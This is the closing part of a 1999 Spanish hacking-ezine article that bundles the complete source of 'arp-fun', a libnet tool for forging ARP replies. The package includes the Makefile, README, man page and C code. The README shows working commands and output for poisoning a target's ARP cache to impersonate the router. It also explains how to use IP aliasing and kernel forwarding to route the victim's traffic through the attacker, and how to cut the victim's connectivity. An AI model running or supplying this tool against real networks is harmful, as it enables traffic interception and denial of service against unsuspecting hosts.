ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
SUCH DAMAGE.
EOF
<-->
<++> arp-fun/Makefile !6460edb6
all: arp-fun
arp-fun:
(cd src; make)
clean:
(cd src; make clean)
install:
(cd src; make install)
<-->
<++> arp-fun/README !f3d6f19b
Arp Fun (c) ulandron
1999
-------
1 - Introduccion
2 - Funcionamiento
3 - Instalacion
Requiere:
Libnet 0.99g
http://www.packetfactory.net/libnet/
Libpcap 0.4
ftp://ftp.ee.lbl.gov/libpcap.tar.Z
Compiled: Linux 2.3.15
Linux 2.2.5-15
Linux 2.2.12
OpenBSD 2.5
1. Introduccion
El fin de este programa era consolidar mis conocimientos con las libnet,
(http://www.packetfactory.net/libnet/), juntando un poco de codigo para un
texto que estaba realizando con Posidon. En principio solo tenia que mandar
paquetes con la mac y la ip de la maquina en la que se ejecuta, a un host
X para sobreescribir su cache y asi poder hacerle creer que somos el
router etc etc etc. Pero poco a poco le he ido aņadiendo caracteristicas,
ya que esto con las libnet es coser y cantar. Y espero seguir aņadiendole
mas y mas.
############################################################################
############################################################################
2. Funcionamiento
El funcionamiento del programa es muy simple. En la linea de comandos le
suministras un minimo de parametros, hasta un maximo de 9 por ahora.
Por ahora solo hay un parametro obligatorio:
-d dest_ip; Ip a la que van destinados los arp reply que enviamos /
forjamos.
Luego existen una serie de parametros opcionales:
-m dest_mac; Direccion mac del host destino. XX:XX:XX:XX:XX:XX.
Si se omite el programa intentara obtenerla
automaticamente. Esto puede fallar por varias razones.
Si tarda mucho en resolverla habra que especificarla a
mano. Si le metiera un timeout esto no haria falta.
-i interface; Se le suministra la interfaz por la que van a salir las
tramas. Ej: eth0, xl0, ne3....
Si se omite el programa escogera automaticamente la
primera interfaz disponible, exceptuando la loopback
-c count; Numero de paquetes identicos a enviar. Mas abajo se puede
especificar un intervalo, si se omite se mandaran lo mas
rapido posible. Rango valido de 1 a 100.
-s source_ip; Ip fuente que aparece en el arp reply. Si se omite se
usara la ip asociada a la tarjeta de red.
-a source_mac; Esto es un dilemma. En principio deberia asignar la mac
que se le indica aqui tanto al paquete arp como a la mac
de origen del ether. Pero, como ya lo indica la
documentacion de las libnet, esto no funciona en algunos
sistemas operativos, por lo que habra que parchear el
kernel, con el parche que incluyen las libnet.
-v Modo "verbose". Da un poco mas de detalle. Para mas
detalle compilar con -DDEBUG
-x seconds Tiempo que transcurre entre el envio de cada paquete.
-V Version. Imprime la version del programa.
-h Ayuda. Imprime una ayuda abreviada.
Ejemplos:
Boot:/ # arp-fun -i eth0 -s 192.168.1.1 -a AA:AB:AC:AD:AE:AF \
-d 192.168.1.4 -m 52:54:AB:21:B6:07 -v -c 2
Sending 2 packets
Source ip: Rewter.See
Everything fine, 'til now. Let's build the packet
Looks nice, huh:
00 5452 21ab 07b6 abaa adac afae 0608 0100
10 0008 0406 0200 abaa adac afae a8c0 0101
20 5452 21ab 07b6 0104 c0a8
Sent packet 1, waiting 0 seconds
Sent packet 2, waiting 0 seconds
Aqui envio 2 paquetes como mi router, a una maquina de mi subred,
192.168.1.4, enviandole una MAC completamente aleatoria, con lo que
imediatamente pierde conectividad. Poco interes.
Boot:/ # arp-fun -i eth0 -m 52:54:AB:21:B6:07 -d 192.168.1.4 -s
192.168.1.1 -c 2 -v
Sending 2 packets
Source ip: Rewter.See
Everything fine, 'til now. Let's build the packet
Looks nice, huh:
00 5452 21ab 07b6 03e2 b622 8201 0608 0100
10 0008 0406 0200 03e2 b622 8201 a8c0 0101
20 5452 21ab 07b6 0104 c0a8
Sent packet 1, waiting 0 seconds
Sent packet 2, waiting 0 seconds
En esta ocasion le envio 2 paquetes a la misma maquina de antes,
haciendole creer que yo soy el router. Para ello le envio mi MAC, y la
192.168.1.1, que es del router, pero que ahora tambien me la he asignado
yo mediante un alias a la ethernet (esto solo se hacerlo en linux, alguna
arquitectura mas ?):
Boot:/ # ifconfig eth0:0 192.168.1.1 netmask 255.255.255.0 up
Boot:/ # ifconfig eth0:0
eth0:0 Link encap:10Mbps Ethernet HWaddr E2:03:22:B6:01:82
inet addr:192.168.1.1 Bcast:192.168.1.255 Mask:255.255.255.0
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:0 errors:0 dropped:0 overruns:0
TX packets:0 errors:0 dropped:0 overruns:0
Interrupt:9 Base address:0x6100
Ahora activando el forward en el kernel, y aņadiendole una ruta puede
hacer que los paquetes del 192.168.1.4, por ejemplo, pasen por mi. En
redes que no permiten poner la interfaz en modo promiscuo esto es una
buena solucion para capturar el trafico en red. Eso si, llama mucho la
atencion.
Esto tambien es posible con openbsd 2.5, mediante la siguiente opcion:
# ifconfig xl0 alias 192.168.1.1 netmask 255.255.255.255
Le aņado una mask de todo 1's porque si no en openbsd da el siguiente
error: ifconfig:SIOCAIFADDR: File exists.
El resto es muy similar a linux, aunque la sintaxis del comando route(8),
por ejemplo, cambia un poco.
Para mas informacion sobre el tema remito al texto que mencione arriba.
############################################################################
############################################################################
3. Instalacion
Requiere solamente la unistd.h, para getopt() y sleep(). Todo
lo demas deberia ser completamente funcional en cualquier plataforma que
soporte libnet.
Lo he compilado en linux (2.3.15) y OpenBSD 2.5 con diversos parches.
Funciona correctamente en ambos.
Deberia compilar sin tener que retocar nada, da errores todavia pero
funciona.
make; make install;
<-->
<++> arp-fun/TODO !0eb04efa
* Good documentation
* Learn how to write clean code
* Perhaps a GUI ? /* Not really... */
* Better Documentation
* General code cleanup
* Network map mode
* Fix those 100 compiling errors /* now 130 */
* Configure script
<-->
<++> arp-fun/bin/.placeholder !aa0bf2cd
.
<-->
<++> arp-fun/src/Makefile !285ee2fd
CFLAGS= -O2 -g
CC=gcc
LIBNET_DEFINES=`libnet-config --defines`
LIBNET_LIBS=`libnet-config --libs`
INSTALL-DIR = /usr/local/bin/
MAN-DIR = /usr/local/man/man1/
INSTALL = install
SOURCES = arp-fun.c trans.c misc.c
OBJECTS = arp-fun.o trans.o misc.o
all: arp-fun move
@echo " *** Compilacion finalizada"
@echo " Por favor lee el README adjunto"
@echo " "
move:
@mv arp-fun ../bin/
arp-fun: all-obj
gcc $(OBJECTS) -o $@ $(LIBNET_LIBS) -lpcap
install:
$(INSTALL) -c -m 0755 ../bin/arp-fun $(INSTALL-DIR)
$(INSTALL) -c -m 0644 arp-fun.1 $(MAN-DIR)
clean:
rm -f arp-fun *.o *~
all-obj:
gcc $(LIBNET_DEFINES) $(CFLAGS) -c $(SOURCES)
<-->
<++> arp-fun/src/arp-fun.1 !3cea2439
.\" This definition swiped from the gcc(1) man page
.de Sp
.if n .sp
.if t .sp 0.4
..
.TH ARP-FUN 1
.SH NAME
.B Arp Fun
\- Libnet Tool for Arp handling
.SH SYNOPSIS
.B arp-fun -d <dstip> [options]
.SH DESCRIPTION
.B Arp Fun
is aimed at handling various types of arp packets, although at the
moment it can only handle arp replys, enough for the project I was
researching with a friend
.SH OPTIONS
.B Arp Fun
requires at least one command line options:
.Sp
.B \-d
Dest IP.
.Sp
Extra options, not mandatory:
.Sp
.B \-m remote_mac.
Specify if arp-fun is unable to resolve.
.Sp
.B \-i Interface.
Use this interface.
.Sp
.B \-c Count
Send this many packets.
.Sp
.B \-s Source IP
Spoof an Arp reply from this IP
.Sp
.B \-a Source Mac
Spoof an Arp reply using this MAC
.Sp
.B \-v
Verbose mode; makes everything a little more verbose. Recommended
.Sp
.B \-x Seconds
Interval to be used between each packet
.Sp
.B \-V
Print out version and exit
.Sp
.SH COMMON USES
Experience will show, hope this helps somebody, I would be glad to hear
your comments.
.SH BUGS
I'm sure there are lots of them, and there is many room for
improvementent.
.SH AUTHOR
Ulandron
.I <ulandron@undersec.com>
.SH DISTRIBUTION
The newest version of
.B Arp Fun
can be obtained from
.I <http://www.undersec.com/members/ulandron/index.shtml>
.Sp
.B Arp Fun
is (C) 1999 by ulandron (ulandron@undersec.com)
This manpage was originally from zhodiac's logit, I am to lazy to build up
a new one from ground up. Thanks man.
.Sp
This program is free software, you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation (Version 2).
.Sp
This program is distributed WITHOUT ANY WARRANTY. See the GNU General
Public License for more details (it is in the COPYING file of the
.B Arp Fun
distribution).
<-->
<++> arp-fun/src/arp-fun.c !f16ce9b8
/* Arp fun, first non-public release. Try to demonstrate how easy
* it is to play with arp's.
*
* String to Hw addr translation borrowed from:
* ARPTool v0.1, (c) Cristiano Lincoln Mattos,
* 1999 - <lincoln@hotlink.com.br>
*
* Libnet is grrrrrreat ! thank's route.
*
* Stevens R.I.P., thank's TCP/IP Illustrated I,II,III.
*
* Have lot's of fun !!
*
* (c) 1999 ulandron.
*
*/
#include "arp-fun.h"
#include "get_mac.h"
int libnet_do_arp(struct link_int *, u_char *, struct ether_addr *, u_long, char *);
unsigned char *str_to_hwaddr (char *str);
unsigned int hexstr_to_int (char *cptr);
void usage (char *name);
int
main (int argc, char **argv)
{
int c, nbytes, count = 1, verbose = FALSE;
u_int secs = 0;
u_char *pkt, ebuf[BUFSIZ];
struct sockaddr_in local;
struct libnet_link_int *link; /* Our requested IF */
u_char *dev = NULL; /* Interface we wanna use */
u_long dst_ip = 0; /* Victims ip */
u_long src_ip = 0; /* Our ip */
struct ether_addr *local_mac = NULL;
struct ether_addr *remote_mac = NULL;
struct ether_addr e;
char joder[20];
if (getuid () || geteuid ())
{
printf
("Hmm, I think you need rewt privileges to open a link interface\n");
exit (1);
}
/* Oh my GOD, they killed kenny !!!!! */
while ((c = getopt (argc, argv, "x:hvVi:c:d:s:m:a:")) != EOF)
{
switch (c)
{
case 'V':
printf("Arp-fun (c) 1999 ulandron, Version: %s\n", VERSION);
exit(0);
break;
case 'h':
usage(argv[0]);
break; // Heh
case 'x':
secs = atoi (optarg);
break;
case 'v':
verbose = TRUE;
break;
case 'i':
dev = optarg;
break;
case 'c':
count = atoi (optarg);
break;
case 'd':
dst_ip = libnet_name_resolve (optarg, 0);
if (!dst_ip)
{
perror ("libnet_name_resolve");
exit (-1);
}
break;
case 's':
src_ip = libnet_name_resolve (optarg, 0);
if (!src_ip)
{
perror ("libnet_name_resolve");
exit (-1);
}
break;
case 'm':
remote_mac = (struct ether_addr *) str_to_hwaddr (optarg);
break;
case 'a':
local_mac = (struct ether_addr *) str_to_hwaddr (optarg);
break;
default:
exit (-1);
}
}
if (count < 1 || count > 100 || (!dst_ip) )// || (remote_mac == NULL))
{
usage (argv[0]);
}
if (verbose)
printf ("Attempting to send %d packets\n", count);
if ((libnet_init_packet (ARP_H + ETH_H, &pkt)) == -1)
{
perror ("libnet_init_packet");
exit (-1);
}
if (dev == NULL)
{
memset ((char *) &local, 0, sizeof (struct sockaddr_in));
local.sin_family = AF_INET;
local.sin_port = htons (0);
local.sin_addr.s_addr = INADDR_ANY;
if (
(libnet_select_device
((struct sockaddr_in *) &local, (u_char *)&dev, ebuf)) == -1)
{
fprintf (stderr, "libnet_select_device:%s\n", ebuf);
exit (-1);
}
}
if (
(link = (struct libnet_link_int *) libnet_open_link_interface (dev,
ebuf)) == NULL)
{
fprintf (stderr, "libnet_open_link_interface: %s\n", ebuf);
exit (-1);
}
#ifdef DEBUG
printf ("Successfully open: %s\n", dev);
#endif
/* Can't happen at this moment, still working on this */
/* Perhaps fork this one ? */
/* How do I get back the mac ? pipes ? */
if(remote_mac == NULL){
c = libnet_do_arp(link,dev, &e, dst_ip, joder);
if(c == -1){
printf("There could be an error getting remote mac, please specify with -m\n");
}
remote_mac = (struct ether_addr *) str_to_hwaddr(joder);
}
if (!src_ip)
{
src_ip = htonl (libnet_get_ipaddr (link, dev, ebuf));
#ifdef DEBUG
printf ("Source ip got from %s: %s\n",
dev, libnet_host_lookup (src_ip, 0));
#endif
if (!src_ip)
{
fprintf (stderr, "libnet_get_ipaddr: %s\n", ebuf);
exit (-1);
}
}
if (verbose)
printf ("Source ip: %s\n", (libnet_host_lookup (src_ip, 1)));
if (local_mac == NULL)
{
if (
(local_mac =
(struct ether_addr *) libnet_get_hwaddr (link, dev, ebuf)) == NULL)
{
fprintf (stderr, "libnet_get_hwaddr: %s\n", ebuf);
exit (-1);
}
}
printf ("Everything fine, 'til now. Let's build the packet\n");
libnet_build_ethernet (remote_mac,
local_mac,
ETHERTYPE_ARP, /* Our packet will contain ARP info */
NULL, /* No extra payload */
0, pkt); /* Allocated mem for packet */
libnet_build_arp (ARPHRD_ETHER, /* Address format */
ETHERTYPE_IP, /* Protocol format */
ETHER_ADDR_LEN, /* HW len */
0x4, /* Prot len */
ARPOP_REPLY, /* Op, Arp reply */
local_mac, /* My HW addr */
(u_char *) & src_ip,/* Our IP == Router's IP */
remote_mac, /* Yer HW */
(u_char *) &dst_ip,/* Poor fool */
NULL, /* Opt payload */
0, /* sizeof(payload) */
pkt + ETH_H);
if (verbose)
{
printf ("Looks nice, huh:");
libnet_hex_dump (pkt, ETH_H + ARP_H, 0, stdout);
}
for (c = 0; c < count; c++)
{
if ((nbytes = libnet_write_link_layer (link, dev, pkt, ARP_H + ETH_H)) <
0)
{
perror ("write link");
exit (-1);
}
if (secs)
sleep (1);
printf ("Sent packet %d, waiting %d seconds\n", c + 1, secs);
}
if ((libnet_close_link_interface (link)) == -1)
{
perror ("close link");
exit (-1);
}
libnet_destroy_packet (&pkt);
if (!verbose)
printf ("Packet sent, memory freed, link closed; see ya!\n");
exit (0);
}
<-->
<++> arp-fun/src/arp-fun.h !5cadd602
#include <libnet.h>
#include <unistd.h>
#include <pcap.h>
#define TRUE 1
#define FALSE 0
#define VERSION "v0.2"
#define MAX_CAPSIZ 4096
<-->
<++> arp-fun/src/get_mac.h !89b4dbe5
/*
* $Id: get_mac.c,v 1.2 1999/05/05 02:40:22 route Exp $
*
* libnet
* get_mac.c - get the MAC address of a remote host
*
* Copyright (c) 1998, 1999 Mike D. Schiffman <mike@infonexus.com>
* route|daemon9 <route@infonexus.com>
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
* SUCH DAMAGE.
*
*/
#include <libnet.h>
#include <pcap.h>
#define IP_UCHAR_COMP(x, y) \
(x[0] == y[0] && x[1] == y[1] && x[2] == y[2] && x[3] == y[3])
u_char enet_dst[6] = {0xff, 0xff, 0xff, 0xff, 0xff, 0xff};
int libnet_do_arp(struct link_int *, u_char *, struct ether_addr *, u_long, char*);
int
libnet_do_arp(struct link_int *l, u_char *device, struct ether_addr *e,
u_long ip, char *joder)
{
int n, i;
u_char *buf, errbuf[256], *packet, *ip_p;
struct libnet_ethernet_hdr *p;
struct libnet_arp_hdr *a;
u_long local_ip;
pcap_t *pd;
struct pcap_pkthdr pc_hdr;
/*
* Initialize a packet.
*/
if (libnet_init_packet(ARP_H + ETH_H, &buf) == -1)
{
perror("libnet_init_packet memory:");
exit(EXIT_FAILURE);
}
/*
* Get the ethernet address of the device.
*/
e = libnet_get_hwaddr(l, device, errbuf);
if (e == NULL)
{
fprintf(stderr, "libnet_get_hwaddr: %s\n", errbuf);
return (-1);
}
/*
* Get the IP address of the device.
*/
local_ip = htonl(libnet_get_ipaddr(l, device, errbuf));
if (!local_ip)
{
fprintf(stderr, "libnet_get_ipaddr: %s\n", errbuf);
return (-1);
}
/*
* Open the pcap device.
*/
pd = pcap_open_live(device, ARP_H + ETH_H, 1, 500, errbuf);
if (pd == NULL)
{
fprintf(stderr, "pcap_open_live: %s\n", errbuf);
return (-1);
}
/*
* Ethernet header
*/
libnet_build_ethernet(
enet_dst, /* broadcast ethernet address */
e->ether_addr_octet, /* source ethernet address */
ETHERTYPE_ARP, /* this frame holds an ARP packet */
NULL, /* payload */
0, /* payload size */
buf); /* packet header memory */
/*
* ARP header
*/
libnet_build_arp(
ARPHRD_ETHER, /* hardware address type */
ETHERTYPE_IP, /* protocol address type */
ETHER_ADDR_LEN, /* hardware address length */
4, /* protocol address length */
ARPOP_REQUEST, /* packet type - ARP request */
e->ether_addr_octet, /* source (local) ethernet address */
(u_char *)&local_ip, /* source (local) IP address */
enet_dst, /* target's ethernet address (broadcast) */
(u_char *)&ip, /* target's IP address */
NULL, /* payload */
0, /* payload size */
buf + ETH_H); /* packet header memory */
n = libnet_write_link_layer(l, device, buf, ARP_H + ETH_H);
if (n == -1)
{
fprintf(stderr, "libnet_write_link_layer choked\n");
return (-1);
}
printf("Sent a %d byte ARP request looking for the MAC of %s.\n",
n, host_lookup(ip, 0));
printf("Waiting for a response...\n");
for (;(packet = ((u_char *)pcap_next(pd, &pc_hdr)));)
{
p = (struct libnet_ethernet_hdr *)(packet);
if (ntohs(p->ether_type) == ETHERTYPE_ARP)
{
a = (struct libnet_arp_hdr *)(packet + ETH_H);
if (ntohs(a->ar_op) == ARPOP_REPLY)
{
ip_p = (u_char *)&ip;
if (IP_UCHAR_COMP(a->ar_spa, ip_p))
{
printf("Got target hardware address: ");
strncpy(joder,hwaddr_to_str(a->ar_sha), 18);
for (i = 0; i < 6; i++)
{
printf("%x", a->ar_sha[i]);
if (i != 5)
{
printf(":");
}
}
printf("\n");
libnet_destroy_packet(&buf);
return 0;
}
}
}
}
libnet_destroy_packet(&buf);
return (n);
}
/* EOF */
<-->
<++> arp-fun/src/misc.c !74f61a23
#include "arp-fun.h"
void usage(char *name);
void
usage (char *name)
{
printf ("\tArp fun %s\t (c) 1999 Ulandron\n", VERSION);
printf ("Usage:\n\n");
printf ("%s -d dest_ip\n\n", name);
printf ("Available arguments.\n");
printf ("-------------------\n");
printf ("\t -i interface Interface to use to send out arp's\n\n");
printf ("\t -s source_ip Your Ip address; Address to fake\n");
printf ("\t -d dest_ip IP address of victim\n");
printf ("\t -a source_mac Spoof MAC, if possible (See README)\n");
printf ("\t -m dest_mac Destination Mac Address\n\n");
printf ("\t -c count Number of times to send packet (1-100)\n");
printf ("\t -v Verbose mode\n");
printf ("\t -x seconds Sleep() interval between packets\n");
printf ("\t -V Prints Version number and exits\n");
printf ("\t -h This help\n");
printf ("\n");
exit (1);
}
<-->
<++> arp-fun/src/trans.c !765ea8b6
extern unsigned char *str_to_hwaddr (char *str);
extern unsigned int hexstr_to_int (char *cptr);
char * hwaddr_to_str (unsigned char * str);
char * ipaddr_to_str (unsigned char * str);
unsigned char *
str_to_hwaddr (char *str)
{
unsigned char tmp[2], strbuf[17], t[2];
static unsigned char *buf, *tt;
int e, i;
buf = (unsigned char *) malloc (6);
bzero (t, 2);
bzero (tmp, 2);
bzero (strbuf, 17);
bzero (buf, 6);
strncpy (strbuf, str, 17);
strbuf[17] = '\0';
tt = buf;
e = 0;
for (i = 0; i < strlen (strbuf); i++)
{
if ((strbuf[i] == ':') && (e == 0))
continue;
tmp[e] = strbuf[i];
e++;
if (e == 2)
{
unsigned int a;
a = hexstr_to_int (tmp);
memcpy (tt, &a, 1);
tt++;
bzero (tmp, 2);
e = 0;
}
}
return buf;
}
unsigned int
hexstr_to_int (char *cptr)
{
unsigned int i, j = 0;
while (cptr && *cptr && isxdigit (*cptr))
{
i = *cptr++ - '0';
if (9 < i)
i -= 7;
j <<= 4;
j |= (i & 0x0f);
}
return (j);
}
char * hwaddr_to_str (unsigned char * str) {
static char tmp[20];
sprintf(tmp,
"%02X:%02X:%02X:%02X:%02X:%02X",
str[0],str[1],str[2],str[3],str[4],str[5]);
return tmp;
}
char * ipaddr_to_str (unsigned char * str) {
static char tmp[20];
sprintf(tmp,
"%u.%u.%u.%u",
str[0],str[1],str[2],str[3]);
return tmp;
}
<-->
9.- Despedida.
Bueno, y esto llega a su fin. Tengo que darle las gracias a ulandron
porque sin el no hubiera sido posible la realizacion de este articulo, thx
ulan ;).
Tambien aprovecho para mandar un saludo a toda la peņa de Netsearch, en
especial a dark, gamerx, sp4rk (sigues vivo?), paradigma, y bueno.. a toda
la peņa en general :), y otro saludo para la peņa del #hacker_novatos ;).
Nos vemos en el siguiente articulo del siguiente numero del NetSearch
Ezine, byes.
Posidon
-------------------
Ha sido un placer trabajar en este tema contigo Posidon, gracias por todo lo
que me has hecho aprender en estos ultimos dias.
Las libnet son una maravilla, sin ellas el programa habria significado el
doble de trabajo y no habria sido ni la mitad de portable.
Sin Stevens y sus Tcp/ip illustrated esto no tendria ninguna gracia. Me
entristece mucho saber que no escribira mas para nosotros.
No quiero nombrar a gente a la que tengo que agradecer cosas porque esto
no acabaria. Ellos saben quienes son y les doy las gracias.
Ulandron
ulandron@undersec.com